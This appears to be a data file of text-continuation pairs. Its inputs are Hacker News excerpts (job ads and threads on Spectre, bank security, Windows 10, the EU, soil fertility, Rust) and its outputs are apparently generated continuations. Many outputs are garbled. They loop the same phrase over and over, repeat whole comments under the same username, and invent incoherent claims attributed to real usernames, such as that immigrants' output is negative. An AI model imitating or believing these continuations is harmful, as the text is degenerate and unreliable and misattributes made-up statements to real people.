fountstudio.com\n\n------\nsmileprem001\n\n Software and Cloud Architect with 15+ years of experience in both enterprises and startups\n Location: Sunnyvale, CA, USA\n Remote: No\n Willing to rel"} +{"output_text": " product is a platform that allows\ncompanies to create a bespoke dog food brand, and then sell it to customers\nthrough our website and our app.\n\nWe're looking for a front-end developer to join our small team of developers\nand help us build the next generation of our website.\n\nWe're also looking for a full-stack developer to join our small team of\ndevelopers and help us build the next generation of our platform.\n\nIf you're", "input_text": "RE team. The team was founded just over a year\nago and today is made up of half a dozen super nice and talented people.\n\nIf monitoring, automation, and web stacks are your thing fire a mail my way\njonathan.cremin@udemy.com\n\n------\nishwarn\nDrive Motors (W16) | Sr. Software Engineer | San Francisco | ONSITE\n\nDrive Motors is revolutionizing the car buying process by making e-commerce\nsolutions for car dealerships and buyers.\n\nWe're looking for a software engineer, comfortable with the full stack, to\njoin our small team. You will be working with Node.js, React.js, Redux, MySQL,\nRedis, HTML, CSS, and AWS.\n\nIf you're interested, please email jobs@drivemotors.com with your resume and a\nlittle bit about yourself.\n\n------\nyvoschaap\nPararius | Amsterdam | Onsite, full-time,\n[https://www.pararius.nl](https://www.pararius.nl)\n\nWe're looking for a full-stack developer to lead our products' development.\n\nFor details (Dutch): > [http://stackoverflow.com/jobs/132632/full-stack-\nontwikkelaar...](http://stackoverflow.com/jobs/132632/full-stack-ontwikkelaar-\npararius)\n\n------\nspjwebster\ntails.com | Front-end & Full Stack Developers | Richmond, London | ONSITE,\nfull time\n\ntails.com is a tech-centric startup, using the power of technology combined\nwith applied nutritional science to change the world of dog food for good.\n\nSo much more than just a website, our"} +{"output_text": " that I don't\ntrust the third-party ad networks to be able to keep their shit together.\n\n~~~\nmehrdadn\n> One of the most common ways major ad networks get compromised to the extent\n> that they serve malware to hundreds of thousands of web users (this happens\n> at least once a year) is that they hotlink to JS libraries, that hotlink to\n> JS libraries, that hotlink to _more_ JS libraries.\n\n", "input_text": " on\n> TLB state, store buffer coalescing, coherence protocols, or even replacement\n> policies. Suddenly, the SMT side channel doesn\u2019t look so bad.\n\n[http://www.cs.cornell.edu/~asampson/blog/spectacular.html](http://www.cs.cornell.edu/~asampson/blog/spectacular.html)\n\n------\nmehrdadn\nCould someone please explain to me why there is so much focus on Spectre\nvulnerabilities in Javascript and not really any on HTML/CSS, when it seems\nthat a server could also be able to cause the client to perform speculative\nexecution via pure HTML? Or is it not possible for some reason? The focus on\nJavascript as though it's somehow special is rather baffling to me, making me\nwonder whether I'm really understanding the fundamental issues. (?)\n\n~~~\nSir_Substance\n>The focus on Javascript as though it's somehow special is rather baffling to\nme\n\nOne of the most common ways major ad networks get compromised to the extent\nthat they serve malware to hundreds of thousands of web users (this happens at\nleast once a year) is that they hotlink to JS libraries, that hotlink to JS\nlibraries, that hotlink to _more_ JS libraries.\n\nIf you use a script blocker, it's not that uncommon to see that once you get\ndown far enough, scripts are being loaded from bare IP addresses rather than\ndomain names. Every now and again, someone compromises one of these deep-\nnested hotlinked JS files and maliciously modifies the javascript, and random\nsites all over the web dutifully serve the malware.\n\nIt's not that I don't trust the first-party website owners, more"} +{"output_text": " security measures detected that you're a bad guy and\nwe're not going to let you in. But we're going to let you in anyway because\nwe're nice and we're not going to tell you that you're a bad guy.\"\n\nThey'll say:\n\n\"Doh, our sophisticated security measures detected that you're a bad guy and\nwe're not going to let you in. But we're going to let you in anyway because\nwe're nice and we're", "input_text": "'t need to be exceptional at math for doing programming. A\nbasic understanding of arithmetic is sufficient. Okay, perhaps if you work\nwith numerical analysis on daily basis, or doing type theory/lambda\ncalculus/any theoritical computer science stuffs.\n\n------\nttizya20\nIt's 2020 and the g factor ism't mainstream\n\n \nBanks, Arbitrary Password Restrictions and Why They Don't Matter - weinzierl\nhttps://www.troyhunt.com/banks-arbitrary-password-restrictions-and-why-they-dont-matter/\n======\nmquander\n_He turned to me and said, \"Do you really think the only thing the bank does\nto log people on is to check the username and password?\" Banks are way more\nsophisticated than this and it goes well beyond merely string-matching\ncredentials; there's all sorts of other environment, behavioural and heuristic\npatterns used to establish legitimacy. You won't ever see a bank telling you\nhow they do it, but those \"hidden security features\" make a significant\ncontribution to the bank's security posture._\n\nTheir response to having visible security that sucks is to say that they also\nhave a lot of super complicated invisible security which is actually really\ngood? Why am I supposed to believe that? Their invisible security probably\nsucks even more.\n\n~~~\ntialaramex\nI agree, Troy is way too gullible here.\n\n> Do you really think the only thing the bank does to log people on is to\n> check the username and password?\n\nYes. I assure you that when bad guys with your username and password log in\nand steal all your money the bank _won't_ say:\n\n\"Doh, our sophisticated"} +{"output_text": "a)\nand custom tables (carpenters) are both good examples of the \"cheap wins over\ngood\" phenomenon.\n\n------\njoshu\nI think the real problem is that the web is a terrible platform for\nprogramming.\n\n~~~\njoshu\nI think the real problem is that the web is a terrible platform for\nprogramming.\n\n~~~\nblasdel\nIt's a terrible platform for _everything_ , but it's the best", "input_text": "\nblasdel\nScribd doesn't even have the source to their own Flashizer! It's FlashPaper,\nwhich was Macromedia's somewhat lame attempt at competing with PDF pre-buyout.\n\n~~~\nnatrius\nIf I remember correctly, Scribd started out using FlashPaper, but they\ndeveloped their own supposedly superior iPaper to replace it.\n\n \nIt should only take you a few hours... - The Hiltmon - hiltmon\nhttp://www.hiltmon.com/blog/2012/01/11/it-should-only-take-you-a-few-hours-dot-dot-dot/\n======\nasolove\nOf course carpenters don't get this kind of nonsense, because you can buy\ncheap, mass-manufactured tables. If you go to a carpenter to get a table\nbuilt, you must have a good reason and you know that a lot of time and money\nwill be involved.\n\nMake no mistake, this distinction is coming to much of what we currently\nconsider \"programming\" too. Spreadsheets probably save the world from 80% of\nwhat would otherwise have to be done by a programmer, and someone will\neventually find a UI paradigm for a rough database and rules system (maybe\nsomething like Bento+Improv?) that can replace much of what line-of-business\nprogrammers do now.\n\nNow, you say: but programming is really about thinking and attention to\ndetail, not just typing in code.\n\nTo which I say: yeah, and so is making tables.\n\nBut at some point, in the current Western economy, cheap wins over good.\n\n~~~\nhiltmon\nExcellent points. And I'd have to agree that both mass market tables (Ike"} +{"output_text": "165300-software-engineering-in...](https://angel.co/ravelin/jobs/165300-software-engineering-intern)\n\n* Senior backend engineer: [https://angel.co/ravelin/jobs/165300-backend-engineer-sen...](https://angel.co/ravelin/jobs/165300-backend-engineer-senior)\n\n* Senior data engineer: [https://angel.co/ravelin", "input_text": ". It's expected that you'd be a main reviewer\nhelping to grow the skills of the more junior engineers, along the way\nhopefully you'll learn a thing or two during the reviews as well. You'll also\nspend significant time writing code and building features; and we're looking\nfor someone who will be as excited to learn engineering insights from us as\nthey are to teach us the gems of wisdom they've learned along the way.\n\n[http://grnh.se/o2et631](http://grnh.se/o2et631)\n\n------\ngeorgethomas\nRavelin | Software Engineer | London, UK | onsite, full time, interns,\n[https://www.ravelin.com/](https://www.ravelin.com/)\n\nWe use machine learning to provide real-time fraud detection for online\nbusinesses, such as Deliveroo, YPlan and Easy Taxi.\n\nThe tech stack is Go microservices on the backend and TypeScript and Angular\non the frontend. Experience in these is nice, but definitely not required.\n\nWe're currently hiring for:\n\n* Senior front end engineer: [https://angel.co/ravelin/jobs/165301-javascript-engineer-sen...](https://angel.co/ravelin/jobs/165301-javascript-engineer-senior)\n\n* Senior / Mid level full stack engineers: [https://angel.co/ravelin/jobs/133765-full-stack-engineer-dev...](https://angel.co/ravelin/jobs/133765-full-stack-engineer-developer-mid-senior)\n\n* Software engineering interns: [https://angel.co/ravelin/jobs/"} +{"output_text": " all the time for things that are trivial to file.\n\n~~~\ntptacek\nI'm not sure I'd call it trivial to file.\n\n~~~\nbhousel\nI'm not sure I'd call it trivial to file.\n\n------\njoshu\nI'm not sure I understand the point of this lawsuit.\n\nThe company is worth $6 billion. They're not going to get that back.\n\n~~~\njoshu\nI'm", "input_text": " scalable 2\\.\nExclusive reliance on repeat sales as the key driver of sustainability: this\nbeing the obvious case, did Google not do its due diligence and actually\nsurveyed past Groupon customers? Such a siimple survey would have easily\nrevealed the issues of this \"local deals\" model. 3\\. Heavy reliance on \"small\nbusiness\" owners as the driver of revenue. This is a sensitive and fickle\nmarket, where even slight movements in the general economy will cause huge\nmoves in spending patterns.\n\nThese 3 points were readily available to anybody with some insight into this\nsegment; Google with all its money must be surrounded by \"yes\" men, nothing\nelse could explain it's willingness to part with $6 billion so quickly.\n\n~~~\nnakor\nI'm not sure if they actually could have sold the company to google even if\nthey wanted to. My understanding is that you must open your books to the\nprospective buyer after a certain stage and it is likely that once the google\naccountants had a look at Groupons books the deal would have fallen through.\n\nThat could have created negative press and damaged their pump-and-dump\nstrategy for the IPO.\n\n~~~\nQuizzy\nExcellent point.\n\n------\ntptacek\nMy perception is that these kinds of shareholder suits are trivial to file,\nand that they occur regularly any time the stock of any public company drops\nsignificantly after some event about them hits the news.\n\nIt would be interesting to see someone chart this.\n\n(No comment about Groupon's long-term viability is being implied here).\n\n~~~\nbhousel\nAs someone who builds legal matter management software for large publicly\ntraded companies, I can confirm that your perception is correct.\n\nPublic companies are sued"} +{"output_text": " of multiplies.\n\n~~~\njandrese\nI think you are missing the point. The point is that the compiler can do this\noptimization for you. It's not a matter of the compiler being able to do it,\nit's a matter of the compiler being able to do it without you having to\nexplicitly tell it to.\n\n~~~\ncogman10\nI'm not missing the point. I'm saying that the compiler can do this optimization", "input_text": "reduction>),\nconverting for a more general expensive operation into a more constrained\ncheaper operation. In this case it is the equivalent to knowing that if you\nwant to multiply a number by 10 you can just add a 0 at the beginning instead\nof having to write all the work by hand.\n\nThe only reason not to do this transform would be if you had a CPU that\nliterally does not have a shift operation, but I cannot think of any such\npart. Even if you did have such a part, the odds are you could emulate a shift\nusing other other instructions and still outperform the multiply.\n\nThis has been a standard optimization for half a century. The original C\ncompiler for the PDP-11 did these transforms even when you turned off\noptimizations\n<[http://c-faq.com/misc/shifts.html>](http://c-faq.com/misc/shifts.html>).\n\n~~~\ncogman10\n> This has been a standard optimization for half a century. The original C\n> compiler for the PDP-11 did these transforms even when you turned off\n> optimizations\n\nConsider this, a common easily applied optimization that compilers have been\ndoing for half a century MAY have made it's way into modern CPUs.\n\nTransistors aren't nearly as power hungry as you paint them and CPUs aren't\nnearly as bad at optimization. There is no reason to switch a multiply or\ndivide for a shift. The ONLY reason to make that switch is if you are dealing\nwith the simplest of processors (Such as a microwave processors). If you are\nusing anything developed in the last 10 years that consumes more than 1W of\npower, chances are really high that the you aren't saving any power by using\nshifts instead"} +{"output_text": "\nand it was fine.\n\n------\njoshstrange\nI think it's because of the \"Ask Question\" button on the top right of the\npage. I've seen it on other sites and it's always been a pain in the ass to\nfind the question I want to ask.\n\n------\njoshstrange\nI think it's because of the \"Ask Question\" button on the top right of the\npage. I've seen it on other sites", "input_text": "\n\n------\nvinod1073\nIndia is the reason! Look at the regional interest graph at the mentioned URL!\nQuora is more popular in India than in any other country!\n\nAlso change the country drop down filter below the search bar from Worldwide\nto India. You see an exponential rise in popularity, and the rise is not\nsudden.\n[https://www.google.com/trends/explore#q=%2Fm%2F0bm8t1r&geo=I...](https://www.google.com/trends/explore#q=%2Fm%2F0bm8t1r&geo=IN&cmpt=q&tz=Etc%2FGMT-5%3A30)\n\n------\ninsulanian\nBecause asking a question on Stack Overflow is becoming a formal skill, for\nGod's sake!\n\nIt gets more annoying and restrictive every day so that I have to think trice\nbefore deciding if I should go again trough that agony of asking a question\nand fight with SO admins to keep it from being closed.\n\n------\nchanux\nI think I was on the site yesterday. Went there through a link on twitter and\nclicked a link on that page. I was presented with the dreaded'sign up to see'\noverlay dark pattern.\n\nPS: I deleted my account sometimes back because I thought they used too many\ndark patterns to my taste at the time.\n\n~~~\ndurub\nTip: when presented with the dreaded sign up to see overlay, you can add\n?share=1 to the end of the URL to bypass it.\n\n~~~\njustincormack\nOr you can just stop using the site. I deleted all my content from the site"} +{"output_text": " of it is based on the needs of the soil.\n\nThe soil is a very complex system. It is not a simple matter of \"add water and\nit will grow\". It is a complex system of interactions between the soil, the\nsoil organisms, the soil organisms and the soil organisms and the soil\norganisms and the soil organisms and the soil organisms and the soil\norganisms and the soil organisms and the soil organisms and the soil\norganisms and the soil organisms and the soil organisms", "input_text": "ift\nIs anyone around with experience reversing obfuscated PHP code?\n\nWe're trying to figure out what the code implanted by some hacker types in our\nforum pages does:\n\n \n \n http://www.shapeoko.com/forum/viewtopic.php?f=7&t=7659\n \n\nInitial reversing of code here by jacob32123, one of our Community members:\n\n \n \n http://pastebin.com/U6qwqhSX\n (line 221+ has more decoded info)\n \n\nIf people are around with interest in this kind of thing, and time to\nassist... it would be really helpful. :)\n\n \n \n http://www.shapeoko.com/forum/viewtopic.php?f=7&t=7659&start=10#p60550\n\n \nCan American soil be brought back to life? - clumsysmurf\nhttp://www.politico.com/agenda/story/2017/09/13/soil-health-agriculture-trend-usda-000513\n======\noldandtired\nLike a lot of things, soil infertility is a symptom of a much larger societal\nproblem. Within society, there are many different competing groups that have\n\"the answer\". Progressives want a specific list, conservatives want another\nlist, city dwellers want a list (irrespective of being progressive or\nconservative), country dwellers want another, business owners want their own\nlist, workers want another, government wants a list, law enforcement wants\none, radicals want one, etc., stc., etc.\n\nAll of these lists of wants are at cross purposes. All of it is based on self-\ninterest. Very little"} +{"output_text": " that there are some things that are better on Windows, but the\nmajority of the things that are better on Windows are also better on other\nplatforms.\n\n~~~\nitvision\nI'm not saying that MacOS is ready for prime time. I'm saying that it's not\nready for the majority of users.\n\nI'm not saying that Windows is ready for prime time. I'm saying that it's not\nready for the majority of users.\n\nI", "input_text": " fragmention leads to system instability, requiring reboots...\nWhat? Again no data given to back up these claims. It's also SAN/Enterprise-\ncentric. Even if you lost 25% perf, you're going from 200,000 IOPs/sec to\n150,000 IOPs/sec. This is still plenty fast.\n\n------\npartiallypro\nI actually really like Windows 10, a huge portion of this list could easily\napply to any modern operating system that isn't Linux, and even there some of\nit applies. So OSX, Android, iOS, etc.\n\nThe section \"Now the second kind of issues is intrinsic to Windows 10 only\" is\nfull of things that are literally applicable to all the OSes I listed above. I\nhad some laugh out loud moments reading it. Are people just blinded by rage\nagainst Microsoft? I don't see how anyone could type that section in\nparticular out with a straight face while knowing about all the other major\nmodern OSes.\n\n~~~\nitvision\nMacOS doesn't have 95% of the listed issues.\n\nAnd we don't have any other desktop OSes which are ready for prime time.\n\n~~~\nSilhouette\n_And we don 't have any other desktop OSes which are ready for prime time._\n\nPeople keep saying that, but how often is it really true these days?\n\nAs a professional software developer, the tools available on UNIXy platforms\nare already much _better_ in many cases than the Windows ports.\n\nFor a typical home user who is mostly interested in things like email and\nsocial networking, and maybe needs to write up some notes or do a quick\nhousehold budget spreadsheet or basic photo editing, there is capable software\navailable on any serious desktop platform today.\n\nIt's true"} +{"output_text": " EU is a political union, not an economic one.\n\n~~~\njhelphen\nI agree that the EU is a political union, but I don't think that's the same\nthing as saying it's not an economic union.\n\n~~~\nseppin\nIt's not. It's a political union that has economic aspects.\n\n~~~\njhelphen\nI don't think that's true. The EU is a political union that has economic\naspects", "input_text": "Putsch](https://en.m.wikipedia.org/wiki/Beer_Hall_Putsch)\n\n------\nSiempreViernes\nFrom the source article:\n\n\"Certain countries were deliberately not allowed to join because within the\nMaximator alliance they were considered as lacking relevant (signal-/crypto-\nanalytical) expertise and/or experience. Allegedly, these countries include\nNorway, Spain and Italy.\"\n\nAnd\n\n\"Belgium is a notable exception in north-western Europe; it had not been\ninvited to join Maximator because of its lack of SIGINT (and COMSEC)\ncapabilities.\" adding in a footnote that \"Belgium\u2019s cryptographic behaviour\nand discipline were problematic. For instance, at least once it compromised\nits own communications via a basic mistake in key management;\"\n\n:D\n\n~~~\nkoheripbal\nIt is disappointing to continue to see such rampant fragmentation within\nEurope.\n\nI had hoped that the EU would break down regulatory barriers and force\nbureaucratic consolidation, but it seems progress has stalled in the last 10\nyears.\n\nThe EU should have one single intelligence agency - not a dysfunctional\ncollection of fighting to be part of the \"in\" group.\n\n~~~\njhelphenstine\nOne single intelligence agency? And what if the Germans are interested in\ngaining better understanding of Viktor Orban? Or if the Italians want to know\njust how far Germany will really go to help them financially? An intelligence\nagency is a means of acquiring answers to intelligence needs - I'm not sure\nEurope is of one mind with regard to what questions merit answering.\n\n~~~\nseppin\nExactly. You'd need a single united economic and political union first.\n\nThe"} +{"output_text": "\" part of the EU is a different story, but that's a different\narticle)\n\n~~~\nTharkun\nI'm not sure what you're trying to say. I'm not a consultant, I'm a software\nengineer. I've worked for the EU, and I've worked for the EU's competition\nauthority. I've worked for the EU's customs authority. I've worked for the EU's\nenvironment authority. I've worked for the EU's fis", "input_text": "ed themselves, of course)?\n\n~~~\nTharkun\nYou're making the incorrect assumption - deliberately, I presume - that the\npeople writing the legislation have anything to do with how the website\noperates. You're wrong, of course. The EU(P) is a very large and very complex\norganization, just like many multinationals.\n\nShould they eat their own dog food? Probably. But pretending there's some kind\nof hypocrisy going on is stretching it.\n\n~~~\ncandiodari\nWell my opinion is that the EU shouldn't exist. A non-democratic state\ncontrolling democratic states seems to me to be a spectacularly bad idea. But\nI'm a consultant and I've worked and work for these people, mostly indirectly.\n\nLet me assure you: there is absolutely no shortage of hypocrisy. You don't\nneed anything more than to walk around their offices and ask what all those\nweird marking on public and private spaces mean. You'll be disgusted, and\ncured of any notion that the EU intends to do anything for anyone but\nthemselves.\n\nBut outside of that, there are clear personal status cult being upheld\neverywhere around the European organisations, with the biggest distinction\nbetween the \"fonctionnaires\" and everybody else (although as an employee of\nthe commission you're still several rungs above \"les gens de la rue\" (which\ndoes not mean homeless, like in France, it just means normal people of\nBrussels). And may God help you if you're working for ISS or any of the\ncleaning companies. At that point your status is so low that people routinely\nthrow things at you just to cool their frustration. This is accepted and\nnormal behavior, despite how incredibly immoral it is.\n\n(The \"European"} +{"output_text": "\n\n------\njasonlbaptiste\nI'm not sure if this is a good thing or not. I'm not sure if this is a good\nthing for Dropbox. I'm not sure if this is a good thing for Android. I'm not\nsure if this is a good thing for the Android Market. I'm not sure if this is a\ngood thing for the Android ecosystem. I'm not sure if this is a good thing for\nthe Android community. I", "input_text": " _disgusted-look_ \u201cUhm, it would be nice if we\ncould use Dropbox, that\u2019s a pretty cool service. Do you know it?\u201d :)\n\n~~~\nviraptor\nAh the joy of Moodle... I haven't met one person who likes it (although I've\nseen much worse systems - WebCT anyone?) It's amazing that people still want\nto install it for anything serious. Although maybe there no alternatives\nfeature-wise?\n\n------\nRK\nThe only problem I'm having so far with the Android app (on 2.1/Nexus One) is\nthat whenever you view a picture in the Dropbox app it gets added to your\nAndroid gallery. The other way around would be OK, but this way just clutters\nup the phone gallery.\n\n------\nderefr\nAnyone know what the API looks like? The documentation for it is behind the\ninvite-wall, I'm guessing.\n\n------\ntingley\nIt makes me happy to see how much success Dropbox is having. It's a great\nproduct.\n\n------\nevo_9\nYeah these guys are top notch. Excellent product, and now this smart move to\nfurther fill the storage void for mobile. Good work DropBox!\n\n------\nbmalicoat\nWon't be surprised when these guys get bought out. Fantastic product,\nimplemented way better than anything any of the major players have.\n\n------\nLegion\nOf _course_. Earlier today I go to Android Market, thinking \"gee, the Dropbox\napp ought to be out by now, right?\". It was not, so I downloaded some 3rd\nparty thing.\n\nDrive home, fire up HackerNews, and look what I see...\n\nAh well."} +{"output_text": "This is a bit of a non-issue, since Windows 7 is no longer supported by\nMicrosoft.\n\n~~~\nkibwen\n> _Why are developers (since this is an issue that shows up with cargo)\n> running Windows 7 without security patches installed?_\n\nBecause Windows 7 is still the most popular OS for developers, and the\nmajority of the Rust community is still on Windows 7.\n\n~~~\nFreak_NL\n> Because Windows 7 is still", "input_text": "over\nWasnt even close for me. Not sure if the data's poor for my demographic or I'm\natypical.\n\n------\npan69\nNice idea but an absolute terrible website. E.g. If you go into the about\nsection and expand one the questions you get this weirdo scroll bar. Seems\nlike they're forcing the layout into a fixed dimension.\n\n------\nsome1else\nYou can see where rich people eat.\n\n \nAnnouncing Rust 1.24.1 - steveklabnik\nhttps://blog.rust-lang.org/2018/03/01/Rust-1.24.1.html\n======\nmkj\nIn case anyone else was wondering how longjmp() over the Rust code isn't a\nproblem regardless:\n\n\"There are only Copy types on the rust stack frame being jumped over.\"\n\n[https://github.com/rust-lang/rust/issues/48251](https://github.com/rust-\nlang/rust/issues/48251)\n\n~~~\nstmw\nneat!\n\n------\nFreak_NL\n> Cargo couldn\u2019t fetch the index from crates.io if you were using an older\n> Windows without having applied security fixes.\n\nWhy are developers (since this is an issue that shows up with cargo) running\nWindows 7 without security patches installed? Especially since the issue only\nshows up on Windows 7 installs that haven't received security patches since\nJune 2016.\n\n> libgit2 created a fix, using the WinHTTP API to request TLS 1.2. On master,\n> we\u2019ve updated to fix this, but for 1.24.1 stable, we\u2019re issuing a warning,\n> suggesting that they upgrade their Windows version.\n\n"} +{"output_text": " the fact that the author is a JavaScript\ndeveloper, and the article is about JavaScript.\n\n~~~\njoshschreuder\nI think it's more that the article is about JavaScript, and the comments are\nabout alternatives to the solution in the article.\n\n~~~\nTeMPOraL\nI think it's more that the article is about JavaScript, and the comments are\nabout alternatives to the solution in the article.\n\n------\njoshschreuder\n", "input_text": "\n\n~~~\nTeMPOraL\nMacros can actually be written in Parenscript as well, AFAIR. But the language\nblends itself very naturally with CL code.\n\n~~~\naidenn0\nparenscript macros are in straight common-lisp. They expand to parenscript, of\ncourse.\n\n------\n1971genocide\nAlso check out LiveScript.\n\n[http://livescript.net/](http://livescript.net/)\n\nand its awesome FP library inspired by haskell's prelude.hs\n\n[http://www.preludels.com/](http://www.preludels.com/)\n\nI have done all forms of projects using LiveScript - robotics, simple\nwebsites, blog, cryptography, computer vision.\n\nIts actually becoming silently fairly mature.\n\nIt helps when it doesn't generate any hype like most languages.\n\nThe community around is also very helpful!\n\nAnd LiveScript is awesome with React.js or any other virtual DOM based MVC\nframework.\n\n~~~\namyjess\nWhy did they name it that?\n\nLiveScript was Netscape's original name for JavaScript, before Sun asked them\nto throw in some Java branding.\n\n~~~\nrane\n\n > Name\n >\n > LiveScript was one of the original names for JavaScript, so\n > it seemed fitting. It's an inside joke for those who know\n > JavaScript well.\n\n------\njestar_jokin\nDoesn't it say something about JavaScript, dissatisfaction with it, and the\noverwhelmingly splintered ecosystem, when _every_ comment is suggesting\nalternatives to the solution in the article?\n\nI guess we chalk this one up to"} +{"output_text": "\npositive.\n\n~~~\njimmaswell\nI'm not sure I understand your point. If I'm not mistaken, the GDP is the\ntotal value of all goods and services produced in a country. If I'm not\nmistaken, that includes the value of the goods and services produced by\nimmigrants.\n\n~~~\nlbarrow\nYes, but the value of the goods and services produced by immigrants is\nnegative.\n\n~~~\njimmas", "input_text": ", their loss.\n\nDon't like US immigration? Good, don't emigrate to the US. Once enough people\ndo this that it starts to affect the US GDP I'm sure there will be some\nchange. As long as everybody accepts it this will continue or it will even get\nworse.\n\nI had a pretty lucrative offer about two years ago to become involved in a\ncompany. The catch: the work had to be done in the United States. No thanks...\nBut call me when the TSA is abandoned and the border guards are no longer\ntreating immigrants like shit. You know, the way it used to be before\neverybody went crazy.\n\nAnd on an off-topic and non-related note, additional conditions would be that\nGuantanamo is closed, the US ceases its drone program and the CIA gets\nthoroughly reamed for their'renditions' program, including full exposure of\nall parties that were involved domestically and abroad.\n\nUntil then the US will have to do without me, I'm quite sure they don't care\none bit.\n\n~~~\njimmaswell\n> Don't like US immigration? Good, don't emigrate to the US. Once enough\n> people do this that it starts to affect the US GDP I'm sure there will be\n> some change.\n\nLess immigrants would negatively affect the GDP? I've heard the opposite many\ntimes, but I'm not an economist. Why is that so?\n\n~~~\nlbarrow\nThere's no realistic situation in which having another person working in a\ncountry decreases its GDP. GDP is simply the sum of all goods and services\nafter net exports and investments. Given that a working person is, by\ndefinition, producing a good or service, their contribution to GDP is always"} +{"output_text": "/_id=8d8e9f7e-c9e0-4f8e-a9e8-e9e8e9e9e8e9)\n\n~~~\njimktrains2\n> Norway interestingly has almost the same pay as USA - $68,737 [2], probably\n> because of high share of oil extraction in GDP (22% [3]) which skews the\n> result. If you subtract oil share", "input_text": "\nis 37.6% higher.\n\nNorway interestingly has almost the same pay as USA - $68,737 [2], probably\nbecause of high share of oil extraction in GDP (22% [3]) which skews the\nresult. If you subtract oil share from the GDP, you get $56,195.88 nominal GDP\nper capita, which is almost the same as the American one ($57,220)!\n\nNow Luxembourg is a tax haven/financial center with a population of half a\nmillion so I don't think it's a relevant comparison. Just due to population to\nget something close to true pay average you would have to ask a relatively (to\nother countries) very big percentage of their developers.\n\nSame site for comparable data\n\n[0]\n[http://www.payscale.com/research/CH/Job=Software_Engineer/Sa...](http://www.payscale.com/research/CH/Job=Software_Engineer/Salary)\n\n[1]\n[http://www.payscale.com/research/US/Job=Software_Developer/S...](http://www.payscale.com/research/US/Job=Software_Developer/Salary)\n\n[2]\n[http://www.payscale.com/research/NO/Job=Software_Developer/S...](http://www.payscale.com/research/NO/Job=Software_Developer/Salary)\n\n[3] [https://www.ssb.no/en/befolkning/artikler-og-\npublikasjoner/_...](https://www.ssb.no/en/befolkning/artikler-og-\npublikasjoner"} +{"output_text": " and help us scale our\nbusiness.\n\nWe are a small team of engineers that are passionate about building great\nproducts. We are a small team of engineers that are passionate about building\ngreat products. We are looking for someone who is passionate about building\ngreat products.\n\nWe are looking for someone who is passionate about building great products.\n\nWe are looking for someone who is passionate about building great products.\n\nWe are looking for someone who is passionate about building great products", "input_text": "Engineering Manager + Tech Lead - Broadcast Innovation Passion around the\nesports space with experience in streaming.\n\nSenior Software Engineer (Platform)- Design, written, shipped + operated\nRESTful services at large scale (>10,000,000 MUs, >500 aQPS) Expert level in\nJava or Go\n\nTech Lead/Senior Software Engineer (Mobile) Expertise in Android and iOS\n\nIf you're interested shoot me your resume to nclauss(AT)riotgames.com\n\n------\ndanielnc\nSoftware Engineer (Back End) | CareMessage (YC W14) | REMOTE | FullTime\nCareMessage is looking for a Software Engineer with Ruby on Rails experience\nto help build and maintain our web platform that streamlines care management\nand delivers interactive mobile programs to improve health outcomes. You\u2019ll be\nworking on exciting projects like optimizing our Sidekiq queuing system,\nimproving and building new integrations with Twilio, building our customer\nanalytics code, and helping improve and maintain our own API. Our engineering\nteam follows agile principles in a test driven development process. We are a\nremote first team that values open collaboration and shared ownership.\n\nMore Info: [http://grnh.se/fhi2ql1](http://grnh.se/fhi2ql1)\n\n------\njasonchen913\nMongoDB | New York, NY (relocation is available) | Software Engineer, Cloud\n(Mid to Sr. level) | Full-Time | Competitive Base + Pre-IPO stock Options\n\nWe are looking for a server-side engineer (Java) that will work on core\nfunctionality for our cloud products, writing code that will help store\npetabytes of data in MongoDB all over the world,"} +{"output_text": "\n\n~~~\nmeesterdude\nThanks for the suggestions. I'll check them out.\n\n------\nmeesterdude\nI'm not sure if this is the right place to ask this, but I'm curious if anyone\nhas any experience with a similar situation.\n\nI'm a programmer, and I've been working on a side project for a few years.\n\nI've been working on it full-time for the past year, and I've been working", "input_text": "\n\nIt's always the same.\n\nThe \"product\" they're working on is the remnants of a side-project that went\nnowhere.\n\nBut like I said, we _do_ pay people for their time unless we hire them. We do\nit onsite. And we do one 7-hour workday. And we pay $250.\n\nAnd we do that mainly so nobody is suspicious that they had been duped into\nworking for free.\n\nIt's _possible_ but imo, unlikely that your work is actually making its way\ninto a shipping product.\n\n~~~\nmeesterdude\nIt sounds like you guys do it a respectable way. But I don't understand why\nyou can't accept the facts as I present them, as I have given no reason for\nyou to doubt my claims or abilities to properly assess the situation. Maybe\nyou think it's just too crazy to be true? Because that's what I'm thinking for\nsure... But them be the facts despite my preference of otherwise.\n\n \nAsk HN: What is a good free alternative for Picasa for photo editing? - foo101\nNow that Picasa is end-of-life, I would like suggestions about an alternative photo editor that is amateur-friendly. I am not a professional photographer. I am a programmer. But I do like to perform some quick enhancements on the photographs (like altering brightness, shadows, etc.). Is there a good free alternative (free as in free speech or free as in free beer)? If it works on all three of Mac, Linux and Windows, it's a bonus!\n======\nbrudgers\nGimp. Darktable. Learning to do simple things in either is probably a matter\nof a few hours but only one time. Then either is as fast as anything else."} +{"output_text": " that you take the nutrients out of the sewage\ntreatment fields and put them back into the soil.\n\n~~~\nseiferteric\nThanks for the explanation. I think I understand now.\n\n------\nmikekchar\nI'm not sure if this is the right place to ask this, but I'm curious. I'm\ntrying to figure out how to get a PhD in soil science. I'm not sure if I'm\ngoing to be able to do it", "input_text": "\n~~~\nabhinavkulkarni\n@seiferteric: Can you please explain this more? I don't quite understand what\nyou mean by 'open loop'. Thanks.\n\n~~~\nmikekchar\nNot the OP, but essentially you take vegetables out of a field. You eat the\nvegetables. You poop. Your poop ends up in a sewage treatment plant. Nothing\nends up back in the field. Instead we add fertilisers that we have mined out\nof the earth for the macro nutrients.\n\nIt's not just sewage either. Every time you till the earth, you expose it to\nthe air. This oxidises the minerals and often makes them unavailable for the\nplants. Because the fertiliser we add is very water soluble it drains through\nthe water table and ends up in the rivers and eventually washes out to sea (or\njust clogs the rivers with algae).\n\nTilling and pesticides also kill the organisms that are responsible for moving\nnutrients around under the earth. Additionally, we tend to plant mono-culture\ncrops with short root structures. This stops a variety of plants from breaking\ndown nutrients in the soil and moving them to the top layer of humus. So\neither we till deeper (exacerbating the problem) or we essentially lock all of\nthe nutrients below the level that the plants can access.\n\nIn the end, you basically are slowly extracting all of the bioavailable\nnutrients out of the soil, and depositing them in the sewage treatment fields.\nAt the same time you are oxidising what's left and washing everything else out\nto the sea. Any fertility that remains is below the access of the plant roots\n(and probably not in a form that can be utilised right away).\n\n\"Closing the loop\" means"} +{"output_text": " the ban is in effect and I've seen a lot of people with bump stocks\nin their cars.\n\n~~~\ntoomuchtodo\nI'm not sure how this is a surprise.\n\n[https://www.nytimes.com/2018/12/06/us/politics/bump-\nstocks-...](https://www.nytimes.com/2018/12/06/us/politics/bump-stocks-\n", "input_text": 